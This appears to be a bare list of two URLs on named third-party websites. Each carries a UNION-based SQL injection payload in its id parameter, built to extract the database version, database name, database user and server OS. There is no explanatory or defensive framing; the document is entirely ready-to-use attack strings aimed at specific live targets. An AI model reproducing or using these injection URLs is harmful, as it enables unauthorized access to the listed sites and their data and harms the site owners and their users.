http://centerforstudyofpublicchoice.com/base.php?id=-668+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--&lev=1

http://www.canyoufeelitmedia.com/master.php?page=mediaitem&id=-271+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

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